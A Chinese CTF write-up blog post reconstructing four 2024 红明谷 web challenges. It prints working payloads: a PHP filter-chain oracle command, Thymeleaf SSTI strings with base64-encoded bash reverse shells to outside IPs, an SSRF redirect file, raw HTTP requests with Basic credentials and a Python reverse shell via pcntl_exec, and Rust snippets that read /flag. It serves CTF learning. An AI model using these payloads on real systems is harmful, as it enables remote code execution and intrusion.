红明谷2024--web复现

2024红明谷–web复现

前言

忘记报名了,就随便看看复现一下

ezphp

<?php
highlight_file(__FILE__);
// flag.php
if (isset($_POST['f'])) {
    echo hash_file('md5', $_POST['f']);
}

搜索找到文章https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle

利用题目中的工具读取文件

。。。。服了,还真不会用,那些参数都不知道加什么

最后看WP加上--time_based_attack True --match "Allowed memory size"就可以了

python3 filters_chain_oracle_exploit.py --target http://localhost:1238/ --file /var/www/html/flag.php --parameter f --time_based_attack True --match "Allowed memory size"

他这里完成以后/var/www/html/flag.php好像都会变成/flag,好奇怪,不过不要紧

image-20240404182152972

<?php
if (isset($_GET['ezphpPhp8'])) {
    highlight_file(__FILE__);
} else {
    die("No");
}
$a = new class {
    function __construct()
    {
    }

    function getflag()
    {
        system('cat /flag');
    }
};
unset($a);
$a = $_GET['ezphpPhp8'];
$f = new $a();
$f->getflag();

这里有提示php8,很明显是匿名类

像lolita大佬就很熟悉了,直接var_dump(get_declared_classes());

image-20240404185917837

https://hi-arkin.com/archives/php-anonymous-stdClass.html

文章提到匿名类函数名称格式:'class@anonymous'+chr(0)+php文件路径:行数$列数

但这个列数就很奇怪,每访问一次就会变化

所以最好一次通关

image-20240404185525594

小疑惑

主要是说一下第一部分,过一遍文章肯定是知道用工具

但仔细看了一下就会知道是测信道盲注

然后我就尝试了下之前的一个题目是用file的测信道盲注的脚本,但感觉应该是我的问题,老是报错

感觉理论上是可以的,都是利用filterchain

image-20240404193434470

Simp1escape

审一遍路由

image-20240404194409949

image-20240404194448862

image-20240404194904333

image-20240404194502013

误区

由于没报名,只看附件感觉挺简单,所以就会产生误区

我看了附件后的思路就是控制响应数据,然后指定文件渲染即可

但其实题目没有权限写入文件

然后就止步不前

正解

由于受到/路由的影响,我下意识的以为/getsites的hostname只能传一个文件名

其实hostname直接传入模板注入payload即可

然后thymeleaf3.0.15版本的payload好像挺难找

直接给出别人的WP的两种方法

[[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMTk1LjE0OS41MC83NTc1IDA+JjE=}|{base64,-d}|{bash,-i}')").getValue()}]]



<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzI5OTk5IDA+JjE=}|{base64,-d}|{bash,-i}')}" th:title='pepito'>

然后就是如何进入这里,他这限定了要127.0.0.1

image-20240404194409949

但是在Utils中又检查了回环地址,得绕过

image-20240404201533687

如何绕过呢,看这里

image-20240404201615521

我当时只想着控制响应,就忽略了很多东西

这里其实相当于一个url请求

可以利用它进行302跳转

准备一个php

<?php
header("Location:http://127.0.0.1:8080/getsites?hostname=%5B%5B%24%7BT(java.lang.Boolean).forName(%22com.fasterxml.jackson.databind.ObjectMapper%22).newInstance().readValue(%22%7B%7D%22%2CT(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression(%22T(Runtime).getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMTguMTk1LjE0OS41MC83NTc1IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D')%22).getValue()%7D%5D%5D");
exit;

然后访问这个php文件

http://ip:8080/curl?url=http://vps/30x.php

然后即可反弹shell

Auth

直接copy别人的WP,不想看了,其实就两个细节,一个是找到pcntl_exec,另一个就是反弹shell后找到提权的密码

访问需要登陆,www.zip里面有密码,我们直接登陆

[2022-01-01 12:34:56]  Authentication successful - User: admin Pass: 2e525e29e465f45d8d7c56319fe73036

无参RCE,然后我们可以读到/etc/passwd,但是读不了flag,所以我们反弹shell

GET /?cmd=show_source(session_id(session_start()));  HTTP/1.0
Host: xxx.com
Pragma: no-cache
Cache-Control: no-cache
Authorization: Basic YWRtaW46MmU1MjVlMjllNDY1ZjQ1ZDhkN2M1NjMxOWZlNzMwMzY=
Upgrade-Insecure-Requests: 1
WWW-Authenticate: Basic realm="Restricted Area
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8,vi;q=0.7
Cookie: PHPSESSID=/etc/passwd
Connection: close

我们用readfile读取disable_func发现pcntl_exec没有被ban,所以我们直接反弹shell,flag就在根目录,

当前目录下有个config.inc.php,里面有个密码,我们su admin之后读取的文件

GET /?cmd=pcntl_exec('/usr/bin/python',['-c',base64_decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEyMy4xMjMuMTIzLjEyMyIsMTIzNCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oInNoIik=')]); HTTP/1.0
Host: xxx.com
Pragma: no-cache
Cache-Control: no-cache
Authorization: Basic YWRtaW46MmU1MjVlMjllNDY1ZjQ1ZDhkN2M1NjMxOWZlNzMwMzY=
Upgrade-Insecure-Requests: 1
WWW-Authenticate: Basic realm="Restricted Area
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8,vi;q=0.7
Cookie: PHPSESSID=
Connection: close

图片

playground

rust就不复现了,这看了下次还不会,没什么用

给出别人的WP

内联C

POST /rust_code HTTP/1.1
Host: xxx
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 146

extern "C" {
    fn system(s: *const u8) -> i32;
}

fn main() {
    unsafe {
        system(b"cat /flag\0".as_ptr() as *const u8);
    }
}

/rust_code路由里传data都会被编译,利用编译报错包含读/flag

POST /rust_code HTTP/1.1
Host: eci-2ze7qox8oygjcap3uy31.cloudeci1.ichunqiu.com:8000
Content-Length: 17
Content-Type: application/x-www-form-urlencoded

include!("/flag")

finally

题目还是挺难的,但是除了java好像都被杀穿了,唉


红明谷2024--web复现
https://zer0peach.github.io/2024/04/04/红明谷2024-web复现/
作者
Zer0peach
发布于
2024年4月4日
许可协议